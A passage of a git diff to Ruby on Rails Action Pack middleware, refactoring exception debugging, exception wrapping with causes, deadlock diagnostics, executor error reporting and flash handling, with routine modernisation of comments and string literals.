         cookie_jar = request.cookie_jar
         unless cookie_jar.committed?
-          cookie_jar.write(headers)
-          if headers[HTTP_HEADER].respond_to?(:join)
-            headers[HTTP_HEADER] = headers[HTTP_HEADER].join("\n")
-          end
+          response = Rack::Response[*response]
+          cookie_jar.write(response)
         end
       end
 
-      [status, headers, body]
+      response.to_a
     end
   end
 end
diff --git a/actionpack/lib/action_dispatch/middleware/debug_exceptions.rb b/actionpack/lib/action_dispatch/middleware/debug_exceptions.rb
index 1c720c5a8e2c4..819bc4a25af66 100644
--- a/actionpack/lib/action_dispatch/middleware/debug_exceptions.rb
+++ b/actionpack/lib/action_dispatch/middleware/debug_exceptions.rb
@@ -1,99 +1,90 @@
-require "action_dispatch/http/request"
+# frozen_string_literal: true
+
+# :markup: markdown
+
 require "action_dispatch/middleware/exception_wrapper"
 require "action_dispatch/routing/inspector"
-require "action_view"
-require "action_view/base"
 
-require "pp"
+require "action_view"
 
 module ActionDispatch
-  # This middleware is responsible for logging exceptions and
-  # showing a debugging page in case the request is local.
+  # # Action Dispatch DebugExceptions
+  #
+  # This middleware is responsible for logging exceptions and showing a debugging
+  # page in case the request is local.
   class DebugExceptions
-    RESCUES_TEMPLATE_PATH = File.expand_path("../templates", __FILE__)
-
-    class DebugView < ActionView::Base
-      def debug_params(params)
-        clean_params = params.clone
-        clean_params.delete("action")
-        clean_params.delete("controller")
-
-        if clean_params.empty?
-          "None"
-        else
-          PP.pp(clean_params, "", 200)
-        end
-      end
+    cattr_reader :interceptors, instance_accessor: false, default: []
 
-      def debug_headers(headers)
-        if headers.present?
-          headers.inspect.gsub(",", ",\n")
-        else
-          "None"
-        end
-      end
-
-      def debug_hash(object)
-        object.to_hash.sort_by { |k, _| k.to_s }.map { |k, v| "#{k}: #{v.inspect rescue $!.message}" }.join("\n")
-      end
-
-      def render(*)
-        logger = ActionView::Base.logger
-
-        if logger && logger.respond_to?(:silence)
-          logger.silence { super }
-        else
-          super
-        end
-      end
+    def self.register_interceptor(object = nil, &block)
+      interceptor = object || block
+      interceptors << interceptor
     end
 
-    def initialize(app, routes_app = nil, response_format = :default)
+    def initialize(app, routes_app = nil, response_format = :default, interceptors = self.class.interceptors)
       @app             = app
       @routes_app      = routes_app
       @response_format = response_format
+      @interceptors    = interceptors
     end
 
     def call(env)
-      request = ActionDispatch::Request.new env
       _, headers, body = response = @app.call(env)
 
-      if headers["X-Cascade"] == "pass"
+      if headers[Constants::X_CASCADE] == "pass"
         body.close if body.respond_to?(:close)
         raise ActionController::RoutingError, "No route matches [#{env['REQUEST_METHOD']}] #{env['PATH_INFO'].inspect}"
       end
 
       response
     rescue Exception => exception
-      raise exception unless request.show_exceptions?
-      render_exception(request, exception)
+      request = ActionDispatch::Request.new env
+      backtrace_cleaner = request.get_header("action_dispatch.backtrace_cleaner")
+      wrapper = ExceptionWrapper.new(backtrace_cleaner, exception)
+
+      invoke_interceptors(request, exception, wrapper)
+      raise exception unless wrapper.show?(request)
+      render_exception(request, exception, wrapper)
     end
 
     private
+      def invoke_interceptors(request, exception, wrapper)
+        @interceptors.each do |interceptor|
+          interceptor.call(request, exception)
+        rescue Exception
+          log_error(request, wrapper)
+        end
+      end
 
-      def render_exception(request, exception)
-        backtrace_cleaner = request.get_header("action_dispatch.backtrace_cleaner")
-        wrapper = ExceptionWrapper.new(backtrace_cleaner, exception)
+      def render_exception(request, exception, wrapper)
         log_error(request, wrapper)
 
         if request.get_header("action_dispatch.show_detailed_exceptions")
-          content_type = request.formats.first
+          begin
+            content_type = request.formats.first
+          rescue ActionDispatch::Http::MimeNegotiation::InvalidType
+            content_type = Mime[:text]
+          end
 
-          if api_request?(content_type)
+          if request.head?
+            render(wrapper.status_code, "", content_type)
+          elsif api_request?(content_type)
             render_for_api_request(content_type, wrapper)
           else
-            render_for_browser_request(request, wrapper)
+            render_for_browser_request(request, wrapper, content_type)
           end
         else
           raise exception
         end
       end
 
-      def render_for_browser_request(request, wrapper)
+      def render_for_browser_request(request, wrapper, content_type)
         template = create_template(request, wrapper)
         file = "rescues/#{wrapper.rescue_template}"
 
-        if request.xhr?
+        if content_type == Mime[:md]
+          body = template.render(template: file, layout: false, formats: [:text])
+          format = "text/markdown"
+        elsif request.xhr?
           body = template.render(template: file, layout: false, formats: [:text])
           format = "text/plain"
         else
@@ -110,7 +101,7 @@ def render_for_api_request(content_type, wrapper)
             wrapper.status_code,
             Rack::Utils::HTTP_STATUS_CODES[500]
           ),
-          exception: wrapper.exception.inspect,
+          exception: wrapper.exception_inspect,
           traces: wrapper.traces
         }
 
@@ -128,57 +119,76 @@ def render_for_api_request(content_type, wrapper)
       end
 
       def create_template(request, wrapper)
-        traces = wrapper.traces
-
-        trace_to_show = "Application Trace"
-        if traces[trace_to_show].empty? && wrapper.rescue_template != "routing_error"
-          trace_to_show = "Full Trace"
-        end
-
-        if source_to_show = traces[trace_to_show].first
-          source_to_show_id = source_to_show[:id]
-        end
-
-        DebugView.new([RESCUES_TEMPLATE_PATH],
+        DebugView.new(
           request: request,
+          exception_wrapper: wrapper,
+          # Everything should use the wrapper, but we need to pass `exception` for legacy
+          # code.
           exception: wrapper.exception,
-          traces: traces,
-          show_source_idx: source_to_show_id,
-          trace_to_show: trace_to_show,
-          routes_inspector: routes_inspector(wrapper.exception),
+          traces: wrapper.traces,
+          show_source_idx: wrapper.source_to_show_id,
+          trace_to_show: wrapper.trace_to_show,
+          routes_inspector: routes_inspector(wrapper),
           source_extracts: wrapper.source_extracts,
-          line_number: wrapper.line_number,
-          file: wrapper.file
+          exception_message_for_copy: compose_exception_message(wrapper).join("\n"),
         )
       end
 
       def render(status, body, format)
-        [status, { "Content-Type" => "#{format}; charset=#{Response.default_charset}", "Content-Length" => body.bytesize.to_s }, [body]]
+        [status, { Rack::CONTENT_TYPE => "#{format}; charset=#{Response.default_charset}", Rack::CONTENT_LENGTH => body.bytesize.to_s }, [body]]
       end
 
       def log_error(request, wrapper)
         logger = logger(request)
+
         return unless logger
+        return if !log_rescued_responses?(request) && wrapper.rescue_response?
+
+        message = compose_exception_message(wrapper)
+        log_array(logger, message, request)
+      end
 
-        exception = wrapper.exception
+      def compose_exception_message(wrapper)
+        trace = wrapper.exception_trace
 
-        trace = wrapper.application_trace
-        trace = wrapper.framework_trace if trace.empty?
+        message = []
+        message << "  "
+        if wrapper.has_cause?
+          message << "#{wrapper.exception_class_name} (#{wrapper.message})"
+          wrapper.wrapped_causes.each do |wrapped_cause|
+            message << "Caused by: #{wrapped_cause.exception_class_name} (#{wrapped_cause.message})"
+          end
+
+          message << "\nInformation for: #{wrapper.exception_class_name} (#{wrapper.message}):"
+        else
+          message << "#{wrapper.exception_class_name} (#{wrapper.message}):"
+        end
+
+        message.concat(wrapper.annotated_source_code)
+        message << "  "
+        message.concat(trace)
 
-        ActiveSupport::Deprecation.silence do
-          logger.fatal "  "
-          logger.fatal "#{exception.class} (#{exception.message}):"
-          log_array logger, exception.annoted_source_code if exception.respond_to?(:annoted_source_code)
-          logger.fatal "  "
-          log_array logger, trace
+        if wrapper.has_cause?
+          wrapper.wrapped_causes.each do |wrapped_cause|
+            message << "\nInformation for cause: #{wrapped_cause.exception_class_name} (#{wrapped_cause.message}):"
+            message.concat(wrapped_cause.annotated_source_code)
+            message << "  "
+            message.concat(wrapped_cause.exception_trace)
+          end
         end
+
+        message
       end
 
-      def log_array(logger, array)
+      def log_array(logger, lines, request)
+        return if lines.empty?
+
+        level = request.get_header("action_dispatch.debug_exception_log_level")
+
         if logger.formatter && logger.formatter.respond_to?(:tags_text)
-          logger.fatal array.join("\n#{logger.formatter.tags_text}")
+          logger.add(level, lines.join("\n#{logger.formatter.tags_text}"))
         else
-          logger.fatal array.join("\n")
+          logger.add(level, lines.join("\n"))
         end
       end
 
@@ -191,7 +201,7 @@ def stderr_logger
       end
 
       def routes_inspector(exception)
-        if @routes_app.respond_to?(:routes) && (exception.is_a?(ActionController::RoutingError) || exception.is_a?(ActionView::Template::Error))
+        if @routes_app.respond_to?(:routes) && (exception.routing_error? || exception.template_error?)
           ActionDispatch::Routing::RoutesInspector.new(@routes_app.routes.routes)
         end
       end
@@ -199,5 +209,9 @@ def routes_inspector(exception)
       def api_request?(content_type)
         @response_format == :api && !content_type.html?
       end
+
+      def log_rescued_responses?(request)
+        request.get_header("action_dispatch.log_rescued_responses")
+      end
   end
 end
diff --git a/actionpack/lib/action_dispatch/middleware/debug_locks.rb b/actionpack/lib/action_dispatch/middleware/debug_locks.rb
index 74b952528ead3..314d7bd28c1c3 100644
--- a/actionpack/lib/action_dispatch/middleware/debug_locks.rb
+++ b/actionpack/lib/action_dispatch/middleware/debug_locks.rb
@@ -1,15 +1,21 @@
+# frozen_string_literal: true
+
+# :markup: markdown
+
 module ActionDispatch
+  # # Action Dispatch DebugLocks
+  #
   # This middleware can be used to diagnose deadlocks in the autoload interlock.
   #
   # To use it, insert it near the top of the middleware stack, using
-  # <tt>config/application.rb</tt>:
+  # `config/application.rb`:
   #
   #     config.middleware.insert_before Rack::Sendfile, ActionDispatch::DebugLocks
   #
-  # After restarting the application and re-triggering the deadlock condition,
-  # <tt>/rails/locks</tt> will show a summary of all threads currently known to
-  # the interlock, which lock level they are holding or awaiting, and their
-  # current backtrace.
+  # After restarting the application and re-triggering the deadlock condition, the
+  # route `/rails/locks` will show a summary of all threads currently known to the
+  # interlock, which lock level they are holding or awaiting, and their current
+  # backtrace.
   #
   # Generally a deadlock will be caused by the interlock conflicting with some
   # other external lock or blocking I/O call. These cannot be automatically
@@ -30,7 +36,7 @@ def call(env)
       req = ActionDispatch::Request.new env
 
       if req.get?
-        path = req.path_info.chomp("/".freeze)
+        path = req.path_info.chomp("/")
         if path == @path
           return render_details(req)
         end
@@ -41,39 +47,39 @@ def call(env)
 
     private
       def render_details(req)
-        threads = ActiveSupport::Dependencies.interlock.raw_state do |threads|
-          # The Interlock itself comes to a complete halt as long as this block
-          # is executing. That gives us a more consistent picture of everything,
-          # but creates a pretty strong Observer Effect.
+        threads = ActiveSupport::Dependencies.interlock.raw_state do |raw_threads|
+          # The Interlock itself comes to a complete halt as long as this block is
+          # executing. That gives us a more consistent picture of everything, but creates
+          # a pretty strong Observer Effect.
           #
-          # Most directly, that means we need to do as little as possible in
-          # this block. More widely, it means this middleware should remain a
-          # strictly diagnostic tool (to be used when something has gone wrong),
-          # and not for any sort of general monitoring.
+          # Most directly, that means we need to do as little as possible in this block.
+          # More widely, it means this middleware should remain a strictly diagnostic tool
+          # (to be used when something has gone wrong), and not for any sort of general
+          # monitoring.
 
-          threads.each.with_index do |(thread, info), idx|
+          raw_threads.each.with_index do |(thread, info), idx|
             info[:index] = idx
             info[:backtrace] = thread.backtrace
           end
 
-          threads
+          raw_threads
         end
 
         str = threads.map do |thread, info|
           if info[:exclusive]
-            lock_state = "Exclusive"
+            lock_state = +"Exclusive"
           elsif info[:sharing] > 0
-            lock_state = "Sharing"
+            lock_state = +"Sharing"
             lock_state << " x#{info[:sharing]}" if info[:sharing] > 1
           else
-            lock_state = "No lock"
+            lock_state = +"No lock"
           end
 
           if info[:waiting]
             lock_state << " (yielded share)"
           end
 
-          msg = "Thread #{info[:index]} [0x#{thread.__id__.to_s(16)} #{thread.status || 'dead'}]  #{lock_state}\n"
+          msg = +"Thread #{info[:index]} [0x#{thread.__id__.to_s(16)} #{thread.status || 'dead'}]  #{lock_state}\n"
 
           if info[:sleeper]
             msg << "  Waiting in #{info[:sleeper]}"
@@ -95,7 +101,8 @@ def render_details(req)
           msg << "\n#{info[:backtrace].join("\n")}\n" if info[:backtrace]
         end.join("\n\n---\n\n\n")
 
-        [200, { "Content-Type" => "text/plain", "Content-Length" => str.size }, [str]]
+        [200, { Rack::CONTENT_TYPE => "text/plain; charset=#{ActionDispatch::Response.default_charset}",
+                Rack::CONTENT_LENGTH => str.size.to_s }, [str]]
       end
 
       def blocked_by?(victim, blocker, all_threads)
diff --git a/actionpack/lib/action_dispatch/middleware/debug_view.rb b/actionpack/lib/action_dispatch/middleware/debug_view.rb
new file mode 100644
index 0000000000000..758c0d607649b
--- /dev/null
+++ b/actionpack/lib/action_dispatch/middleware/debug_view.rb
@@ -0,0 +1,79 @@
+# frozen_string_literal: true
+
+# :markup: markdown
+
+require "pp"
+
+require "action_view"
+require "action_view/base"
+
+module ActionDispatch
+  class DebugView < ActionView::Base # :nodoc:
+    RESCUES_TEMPLATE_PATHS = [File.expand_path("templates", __dir__)]
+
+    def initialize(assigns)
+      paths = RESCUES_TEMPLATE_PATHS.dup
+      lookup_context = ActionView::LookupContext.new(paths)
+      super(lookup_context, assigns, nil)
+    end
+
+    def compiled_method_container
+      self.class
+    end
+
+    def debug_params(params)
+      clean_params = params.clone
+      clean_params.delete("action")
+      clean_params.delete("controller")
+
+      if clean_params.empty?
+        "None"
+      else
+        PP.pp(clean_params, +"", 200)
+      end
+    end
+
+    def debug_headers(headers)
+      if headers.present?
+        headers.inspect.gsub(",", ",\n")
+      else
+        "None"
+      end
+    end
+
+    def debug_hash(object)
+      object.to_hash.sort_by { |k, _| k.to_s }.map { |k, v| "#{k}: #{v.inspect rescue $!.message}" }.join("\n")
+    end
+
+    def render(*)
+      logger = ActionView::Base.logger
+
+      if logger && logger.respond_to?(:silence)
+        logger.silence { super }
+      else
+        super
+      end
+    end
+
+    def editor_url(location, line: nil)
+      if editor = ActiveSupport::Editor.current
+        line ||= location&.lineno
+        absolute_path = location&.absolute_path
+
+        if absolute_path && line && File.exist?(absolute_path)
+          editor.url_for(absolute_path, line)
+        end
+      end
+    end
+
+    def protect_against_forgery?
+      false
+    end
+
+    def params_valid?
+      @request.parameters
+    rescue ActionController::BadRequest
+      false
+    end
+  end
+end
diff --git a/actionpack/lib/action_dispatch/middleware/exception_wrapper.rb b/actionpack/lib/action_dispatch/middleware/exception_wrapper.rb
index 397f0a8b92a2f..ab4b69288b006 100644
--- a/actionpack/lib/action_dispatch/middleware/exception_wrapper.rb
+++ b/actionpack/lib/action_dispatch/middleware/exception_wrapper.rb
@@ -1,50 +1,136 @@
+# frozen_string_literal: true
+
+# :markup: markdown
+
 require "active_support/core_ext/module/attribute_accessors"
+require "active_support/syntax_error_proxy"
+require "active_support/core_ext/thread/backtrace/location"
 require "rack/utils"
 
 module ActionDispatch
   class ExceptionWrapper
-    cattr_accessor :rescue_responses
-    @@rescue_responses = Hash.new(:internal_server_error)
-    @@rescue_responses.merge!(
-      "ActionController::RoutingError"               => :not_found,
-      "AbstractController::ActionNotFound"           => :not_found,
-      "ActionController::MethodNotAllowed"           => :method_not_allowed,
-      "ActionController::UnknownHttpMethod"          => :method_not_allowed,
-      "ActionController::NotImplemented"             => :not_implemented,
-      "ActionController::UnknownFormat"              => :not_acceptable,
-      "ActionController::InvalidAuthenticityToken"   => :unprocessable_entity,
-      "ActionController::InvalidCrossOriginRequest"  => :unprocessable_entity,
-      "ActionDispatch::Http::Parameters::ParseError" => :bad_request,
-      "ActionController::BadRequest"                 => :bad_request,
-      "ActionController::ParameterMissing"           => :bad_request,
-      "Rack::QueryParser::ParameterTypeError"        => :bad_request,
-      "Rack::QueryParser::InvalidParameterError"     => :bad_request
+    cattr_accessor :rescue_responses, default: Hash.new(:internal_server_error).merge!(
+      "ActionController::RoutingError"                     => :not_found,
+      "AbstractController::ActionNotFound"                 => :not_found,
+      "ActionController::MethodNotAllowed"                 => :method_not_allowed,
+      "ActionController::UnknownHttpMethod"                => :method_not_allowed,
+      "ActionController::NotImplemented"                   => :not_implemented,
+      "ActionController::UnknownFormat"                    => :not_acceptable,
+      "ActionDispatch::Http::MimeNegotiation::InvalidType" => :not_acceptable,
+      "ActionController::MissingExactTemplate"             => :not_acceptable,
+      "ActionController::InvalidAuthenticityToken"         => ActionDispatch::Constants::UNPROCESSABLE_CONTENT,
+      "ActionController::InvalidCrossOriginRequest"        => ActionDispatch::Constants::UNPROCESSABLE_CONTENT,
+      "ActionDispatch::Http::Parameters::ParseError"       => :bad_request,
+      "ActionController::BadRequest"                       => :bad_request,
+      "ActionController::ParameterMissing"                 => :bad_request,
+      "ActionController::TooManyRequests"                  => :too_many_requests,
+      "Rack::QueryParser::ParameterTypeError"              => :bad_request,
+      "Rack::QueryParser::InvalidParameterError"           => :bad_request
     )
 
-    cattr_accessor :rescue_templates
-    @@rescue_templates = Hash.new("diagnostics")
-    @@rescue_templates.merge!(
-      "ActionView::MissingTemplate"         => "missing_template",
-      "ActionController::RoutingError"      => "routing_error",
-      "AbstractController::ActionNotFound"  => "unknown_action",
-      "ActionView::Template::Error"         => "template_error"
+    cattr_accessor :rescue_templates, default: Hash.new("diagnostics").merge!(
+      "ActionView::MissingTemplate"            => "missing_template",
+      "ActionController::RoutingError"         => "routing_error",
+      "AbstractController::ActionNotFound"     => "unknown_action",
+      "ActiveRecord::StatementInvalid"         => "invalid_statement",
+      "ActionView::Template::Error"            => "template_error",
+      "ActionController::MissingExactTemplate" => "missing_exact_template",
     )
 
-    attr_reader :backtrace_cleaner, :exception, :line_number, :file
+    cattr_accessor :wrapper_exceptions, default: [
+      "ActionView::Template::Error"
+    ]
+
+    cattr_accessor :silent_exceptions, default: [
+      "ActionController::RoutingError",
+      "ActionDispatch::Http::MimeNegotiation::InvalidType"
+    ]
+
+    attr_reader :backtrace_cleaner, :wrapped_causes, :exception_class_name, :exception
 
     def initialize(backtrace_cleaner, exception)
       @backtrace_cleaner = backtrace_cleaner
-      @exception = original_exception(exception)
+      @exception_class_name = exception.class.name
+      @wrapped_causes = wrapped_causes_for(exception, backtrace_cleaner)
+      @exception = exception
+      if exception.is_a?(SyntaxError)
+        @exception = ActiveSupport::SyntaxErrorProxy.new(exception)
+      end
+      @backtrace = build_backtrace
+    end
+
+    def routing_error?
+      @exception.is_a?(ActionController::RoutingError)
+    end
+
+    def template_error?
+      @exception.is_a?(ActionView::Template::Error)
+    end
+
+    def sub_template_message
+      @exception.sub_template_message
+    end
+
+    def has_cause?
+      @exception.cause
+    end
+
+    def failures
+      @exception.failures
+    end
+
+    def has_corrections?
+      @exception.respond_to?(:original_message) && @exception.respond_to?(:corrections)
+    end
+
+    def original_message
+      @exception.original_message
+    end
+
+    def corrections
+      @exception.corrections
+    end
+
+    def file_name
+      @exception.file_name
+    end
 
-      expand_backtrace if exception.is_a?(SyntaxError) || exception.cause.is_a?(SyntaxError)
+    def line_number
+      @exception.line_number
+    end
+
+    def actions
+      ActiveSupport::ActionableError.actions(@exception)
+    end
+
+    def unwrapped_exception
+      if wrapper_exceptions.include?(@exception_class_name)
+        @exception.cause
+      else
+        @exception
+      end
+    end
+
+    def annotated_source_code
+      if exception.respond_to?(:annotated_source_code)
+        exception.annotated_source_code
+      else
+        []
+      end
     end
 
     def rescue_template
-      @@rescue_templates[@exception.class.name]
+      @@rescue_templates[@exception_class_name]
     end
 
     def status_code
-      self.class.status_code_for_exception(@exception.class.name)
+      self.class.status_code_for_exception(unwrapped_exception.class.name)
+    end
+
+    def exception_trace
+      trace = application_trace
+      trace = framework_trace if trace.empty? && !silent_exceptions.include?(@exception_class_name)
+      trace
     end
 
     def application_trace
@@ -63,11 +149,20 @@ def traces
       application_trace_with_ids = []
       framework_trace_with_ids = []
       full_trace_with_ids = []
+      application_traces = application_trace.map(&:to_s)
 
+      full_trace = backtrace_cleaner&.clean_locations(backtrace, :all).presence || backtrace
       full_trace.each_with_index do |trace, idx|
-        trace_with_id = { id: idx, trace: trace }
+        filtered_trace = backtrace_cleaner&.clean_frame(trace, :all) || trace
+
+        trace_with_id = {
+          exception_object_id: @exception.object_id,
+          id: idx,
+          trace: trace,
+          filtered_trace: filtered_trace,
+        }
 
-        if application_trace.include?(trace)
+        if application_traces.include?(filtered_trace.to_s)
           application_trace_with_ids << trace_with_id
         else
           framework_trace_with_ids << trace_with_id
@@ -84,34 +179,117 @@ def traces
     end
 
     def self.status_code_for_exception(class_name)
-      Rack::Utils.status_code(@@rescue_responses[class_name])
+      ActionDispatch::Response.rack_status_code(@@rescue_responses[class_name])
+    end
+
+    def show?(request)
+      # We're treating `nil` as "unset", and we want the default setting to be `:all`.
+      # This logic should be extracted to `env_config` and calculated once.
+      config = request.get_header("action_dispatch.show_exceptions")
+
+      case config
+      when :none
+        false
+      when :rescuable
+        rescue_response?
+      else
+        true
+      end
+    end
+
+    def rescue_response?
+      @@rescue_responses.key?(exception.class.name)
     end
 
     def source_extracts
       backtrace.map do |trace|
-        file, line_number = extract_file_and_line_number(trace)
+        extract_source(trace).merge(trace: trace)
+      end
+    end
 
-        {
-          code: source_fragment(file, line_number),
-          line_number: line_number
-        }
+    def trace_to_show
+      if traces["Application Trace"].empty? && rescue_template != "routing_error"
+        "Full Trace"
+      else
+        "Application Trace"
       end
     end
 
+    def source_to_show_id
+      (traces[trace_to_show].first || {})[:id]
+    end
+
+    def exception_name
+      exception.cause.class.to_s
+    end
+
+    def message
+      exception.message
+    end
+
+    def exception_inspect
+      exception.inspect
+    end
+
+    def exception_id
+      exception.object_id
+    end
+
     private
+      class SourceMapLocation < ActiveSupport::Delegation::DelegateClass(Thread::Backtrace::Location) # :nodoc:
+        def initialize(location, template)
+          super(location)
+          @template = template
+        end
+
+        def spot(exc)
+          if RubyVM::AbstractSyntaxTree.respond_to?(:node_id_for_backtrace_location) && __getobj__.is_a?(Thread::Backtrace::Location)
+            location = @template.spot(__getobj__)
+          else
+            location = super
+          end
 
-      def backtrace
-        Array(@exception.backtrace)
+          if location
+            @template.translate_location(__getobj__, location)
+          end
+        end
       end
 
-      def original_exception(exception)
-        if @@rescue_responses.has_key?(exception.cause.class.name)
-          exception.cause
-        else
-          exception
+      attr_reader :backtrace
+
+      def build_backtrace
+        built_methods = {}
+
+        ActionView::PathRegistry.all_resolvers.each do |resolver|
+          resolver.built_templates.each do |template|
+            built_methods[template.method_name] = template
+          end
+        end
+
+        (@exception.backtrace_locations || []).map do |loc|
+          if built_methods.key?(loc.base_label)
+            thread_backtrace_location = if loc.respond_to?(:__getobj__)
+              loc.__getobj__
+            else
+              loc
+            end
+            SourceMapLocation.new(thread_backtrace_location, built_methods[loc.base_label])
+          else
+            loc
+          end
         end
       end
 
+      def causes_for(exception)
+        return enum_for(__method__, exception) unless block_given?
+
+        yield exception while exception = exception.cause
+      end
+
+      def wrapped_causes_for(exception, backtrace_cleaner)
+        causes_for(exception).map { |cause| self.class.new(backtrace_cleaner, cause) }
+      end
+
       def clean_backtrace(*args)
         if backtrace_cleaner
           backtrace_cleaner.clean(backtrace, *args)
@@ -120,29 +298,53 @@ def clean_backtrace(*args)
         end
       end
 
+      def extract_source(trace)
+        spot = trace.spot(@exception)
+
+        if spot
+          line = spot[:first_lineno]
+          code = extract_source_fragment_lines(spot[:script_lines], line)
+
+          if line == spot[:last_lineno]
+            code[line] = [
+              code[line][0, spot[:first_column]],
+              code[line][spot[:first_column]...spot[:last_column]],
+              code[line][spot[:last_column]..-1],
+            ]
+          end
+
+          return {
+            code: code,
+            line_number: line
+          }
+        end
+
+        file, line_number = extract_file_and_line_number(trace)
+
+        {
+          code: source_fragment(file, line_number),
+          line_number: line_number
+        }
+      end
+
+      def extract_source_fragment_lines(source_lines, line)
+        start = [line - 3, 0].max
+        lines = source_lines.drop(start).take(6)
+        Hash[*(start + 1..(lines.count + start)).zip(lines).flatten]
+      end
+
       def source_fragment(path, line)
         return unless Rails.respond_to?(:root) && Rails.root
         full_path = Rails.root.join(path)
         if File.exist?(full_path)
           File.open(full_path, "r") do |file|
-            start = [line - 3, 0].max
-            lines = file.each_line.drop(start).take(6)
-            Hash[*(start + 1..(lines.count + start)).zip(lines).flatten]
+            extract_source_fragment_lines(file.each_line, line)
           end
         end
       end
 
       def extract_file_and_line_number(trace)
-        # Split by the first colon followed by some digits, which works for both
-        # Windows and Unix path styles.
-        file, line = trace.match(/^(.+?):(\d+).*$/, &:captures) || trace
-        [file, line.to_i]
-      end
-
-      def expand_backtrace
-        @exception.backtrace.unshift(
-          @exception.to_s.split("\n")
-        ).flatten!
+        [trace.path, trace.lineno]
       end
   end
 end
diff --git a/actionpack/lib/action_dispatch/middleware/executor.rb b/actionpack/lib/action_dispatch/middleware/executor.rb
index 3d43f97a2b9ed..bc83ecfbf3ff1 100644
--- a/actionpack/lib/action_dispatch/middleware/executor.rb
+++ b/actionpack/lib/action_dispatch/middleware/executor.rb
@@ -1,3 +1,7 @@
+# frozen_string_literal: true
+
+# :markup: markdown
+
 require "rack/body_proxy"
 
 module ActionDispatch
@@ -7,12 +11,34 @@ def initialize(app, executor)
     end
 
     def call(env)
-      state = @executor.run!
+      state = @executor.run!(reset: true)
+      if response_finished = env["rack.response_finished"]
+        response_finished << proc { state.complete! }
+      end
+
       begin
         response = @app.call(env)
-        returned = response << ::Rack::BodyProxy.new(response.pop) { state.complete! }
+
+        if env["action_dispatch.report_exception"]
+          error = env["action_dispatch.exception"]
+          @executor.error_reporter.report(error, handled: false, source: "application.action_dispatch")
+        end
+
+        unless response_finished
+          response << ::Rack::BodyProxy.new(response.pop) { state.complete! }
+        end
+        returned = true
+        response
+      rescue Exception => error
+        request = ActionDispatch::Request.new env
+        backtrace_cleaner = request.get_header("action_dispatch.backtrace_cleaner")
+        wrapper = ExceptionWrapper.new(backtrace_cleaner, error)
+        @executor.error_reporter.report(wrapper.unwrapped_exception, handled: false, source: "application.action_dispatch")
+        raise
       ensure
-        state.complete! unless returned
+        if !returned && !response_finished
+          state.complete!
+        end
       end
     end
   end
diff --git a/actionpack/lib/action_dispatch/middleware/flash.rb b/actionpack/lib/action_dispatch/middleware/flash.rb
index cbe2f4be4de25..a2fa837cfe261 100644
--- a/actionpack/lib/action_dispatch/middleware/flash.rb
+++ b/actionpack/lib/action_dispatch/middleware/flash.rb
@@ -1,47 +1,59 @@
+# frozen_string_literal: true
+
+# :markup: markdown
+
 require "active_support/core_ext/hash/keys"
 
 module ActionDispatch
-  # The flash provides a way to pass temporary primitive-types (String, Array, Hash) between actions. Anything you place in the flash will be exposed
-  # to the very next action and then cleared out. This is a great way of doing notices and alerts, such as a create
-  # action that sets <tt>flash[:notice] = "Post successfully created"</tt> before redirecting to a display action that can
-  # then expose the flash to its template. Actually, that exposure is automatically done.
+  # # Action Dispatch Flash
   #
-  #   class PostsController < ActionController::Base
-  #     def create
-  #       # save post
-  #       flash[:notice] = "Post successfully created"
-  #       redirect_to @post
-  #     end
+  # The flash provides a way to pass temporary primitive-types (String, Array,
+  # Hash) between actions. Anything you place in the flash will be exposed to the
+  # very next action and then cleared out. This is a great way of doing notices
+  # and alerts, such as a create action that sets `flash[:notice] = "Post
+  # successfully created"` before redirecting to a display action that can then
+  # expose the flash to its template. Actually, that exposure is automatically
+  # done.
+  #
+  #     class PostsController < ActionController::Base
+  #       def create
+  #         # save post
+  #         flash[:notice] = "Post successfully created"
+  #         redirect_to @post
+  #       end
   #
-  #     def show
-  #       # doesn't need to assign the flash notice to the template, that's done automatically
+  #       def show
+  #         # doesn't need to assign the flash notice to the template, that's done automatically
+  #       end
   #     end
-  #   end
   #
-  #   show.html.erb
+  # Then in `show.html.erb`:
+  #
   #     <% if flash[:notice] %>
   #       <div class="notice"><%= flash[:notice] %></div>
   #     <% end %>
   #
-  # Since the +notice+ and +alert+ keys are a common idiom, convenience accessors are available:
+  # Since the `notice` and `alert` keys are a common idiom, convenience accessors
+  # are available:
   #
-  #   flash.alert = "You must be logged in"
-  #   flash.notice = "Post successfully created"
+  #     flash.alert = "You must be logged in"
+  #     flash.notice = "Post successfully created"
   #
-  # This example places a string in the flash. And of course, you can put as many as you like at a time too. If you want to pass
-  # non-primitive types, you will have to handle that in your application. Example: To show messages with links, you will have to
-  # use sanitize helper.
+  # This example places a string in the flash. And of course, you can put as many
+  # as you like at a time too. If you want to pass non-primitive types, you will
+  # have to handle that in your application. Example: To show messages with links,
+  # you will have to use sanitize helper.
   #
   # Just remember: They'll be gone by the time the next action has been performed.
   #
   # See docs on the FlashHash class for more details about the flash.
   class Flash
-    KEY = "action_dispatch.request.flash_hash".freeze
+    KEY = "action_dispatch.request.flash_hash"
 
     module RequestMethods
-      # Access the contents of the flash. Use <tt>flash["notice"]</tt> to
-      # read a notice you put there or <tt>flash["notice"] = "hello"</tt>
-      # to put a new one.
+      # Access the contents of the flash. Returns a ActionDispatch::Flash::FlashHash.
+      #
+      # See ActionDispatch::Flash for example usage.
       def flash
         flash = flash_hash
         return flash if flash
@@ -57,27 +69,25 @@ def flash_hash # :nodoc:
       end
 
       def commit_flash # :nodoc:
-        session    = self.session || {}
-        flash_hash = self.flash_hash
+        return unless session.enabled?
 
         if flash_hash && (flash_hash.present? || session.key?("flash"))
           session["flash"] = flash_hash.to_session_value
           self.flash = flash_hash.dup
         end
 
-        if (!session.respond_to?(:loaded?) || session.loaded?) && # (reset_session uses {}, which doesn't implement #loaded?)
-            session.key?("flash") && session["flash"].nil?
+        if session.loaded? && session.key?("flash") && session["flash"].nil?
           session.delete("flash")
         end
       end
 
-      def reset_session # :nodoc
+      def reset_session # :nodoc:
         super
         self.flash = nil
       end
     end
 
-    class FlashNow #:nodoc:
+    class FlashNow # :nodoc:
       attr_accessor :flash
 
       def initialize(flash)
@@ -95,12 +105,12 @@ def [](k)
         @flash[k.to_s]
       end
 
-      # Convenience accessor for <tt>flash.now[:alert]=</tt>.
+      # Convenience accessor for `flash.now[:alert]=`.
       def alert=(message)
         self[:alert] = message
       end
 
-      # Convenience accessor for <tt>flash.now[:notice]=</tt>.
+      # Convenience accessor for `flash.now[:notice]=`.
       def notice=(message)
         self[:notice] = message
       end
@@ -109,7 +119,7 @@ def notice=(message)
     class FlashHash
       include Enumerable
 
-      def self.from_session_value(value) #:nodoc:
+      def self.from_session_value(value) # :nodoc:
         case value
